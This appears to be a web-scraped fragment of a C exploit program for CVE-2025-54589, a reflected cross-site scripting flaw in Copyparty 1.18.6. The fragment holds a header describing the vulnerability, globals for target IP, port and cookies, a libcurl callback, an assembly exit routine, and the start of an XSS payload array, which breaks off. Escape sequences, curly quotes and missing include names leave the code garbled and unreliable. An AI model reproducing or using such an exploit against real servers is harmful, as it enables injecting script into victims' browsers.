\n\/*
\n
* Author : Byte Reaper
\n
* CVE : CVE-2025-54589
\n
* Title : Copyparty 1.18.6 – Reflected Cross-Site Scripting (XSS)
\n
* CVE-2025-54589 is a reflected cross-site scripting (XSS) vulnerability in Copyparty (\u2264 1.18.6) where the filter parameter is inserted into the HTML response without proper sanitization,
\n
allowing an attacker to inject and execute arbitrary JavaScript in a victim\u2019s browser
\n
*\/<\/p>\n
#include
\n
#include
\n
#include
\n
#include
\n
#include
\n
#include “argparse.h”
\n
#include
\n
#include
\n
#include
\n
#include <\/p>\n#define FULL_URL 2500
\n
#define COLOR_RESET “\\e[0m”
\n
#define COLOR_RED “\\e[1;31m”
\n
#define COLOR_GRN “\\e[1;32m”
\n
#define COLOR_YEL “\\e[1;33m”
\n
#define COLOR_BLU “\\e[1;34m”
\n
#define COLOR_CYN “\\e[1;36m”
\n
#define COLOR_WHT “\\e[1;37m”
\n
#define COLOR_PUR “\\e[1;35m”
\n
#define PRINT_OK(fmt, …) print_color(COLOR_GRN, “” fmt, ##__VA_ARGS__)
\n
#define PRINT_ERR(fmt, …) print_color(COLOR_RED, “” fmt, ##__VA_ARGS__)
\n
#define PRINT_WARN(fmt, …) print_color(COLOR_YEL, “” fmt, ##__VA_ARGS__)
\n
#define PRINT_INFO(fmt, …) print_color(COLOR_BLU, “” fmt, ##__VA_ARGS__)
\n
#define PRINT_NOTE(fmt, …) print_color(COLOR_CYN, “” fmt, ##__VA_ARGS__)<\/p>\n
int verbose = 0;
\n
int useC = 0;
\n
const char *ipT = NULL;
\n
int portT = 0;
\n
const char *cookies = NULL;
\n
const char *caFile = NULL;
\n
int sCa = 0;
\n
int useColor = 1;
\n
int useHttp = 0;
\n
void print_color(const char *color, const char *fmt, …)
\n
{
\n
va_list args;
\n
va_start(args, fmt);
\n
if (useColor)
\n
{
\n
printf(“%s”, color);
\n
}<\/p>\n
vprintf(fmt, args);
\n
if (useColor)
\n
{
\n
printf(“%s”, COLOR_RESET);
\n
}<\/p>\n
va_end(args);
\n
}
\n
void exitAssembly()
\n
{
\n
__asm__ volatile
\n
(
\n
“xor %%rdi, %%rdi\\n\\t”
\n
“mov $231, %%rax\\n\\t”
\n
“syscall\\n\\t”
\n
:
\n
:
\n
: “rax”,
\n
“rdi”
\n
);
\n
}
\n
struct Mem
\n
{
\n
char *buffer;
\n
size_t len;
\n
};
\n
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
\n
{
\n
size_t total = size * nmemb;
\n
struct Mem *m = (struct Mem *)userdata;
\n
char *tmp = realloc(m->buffer, m->len + total + 1);
\n
if (tmp == NULL)
\n
{
\n
PRINT_ERR(“[-] Failed to allocate memory!\\n”);
\n
exitAssembly();
\n
}
\n
m->buffer = tmp;
\n
memcpy(&(m->buffer[m->len]), ptr, total);
\n
m->len += total;
\n
m->buffer[m->len] = ‘\\0’;
\n
return total;
\n
}
\n
const char *payloadXss[] =
\n
{<\/p>\n
“<\/script>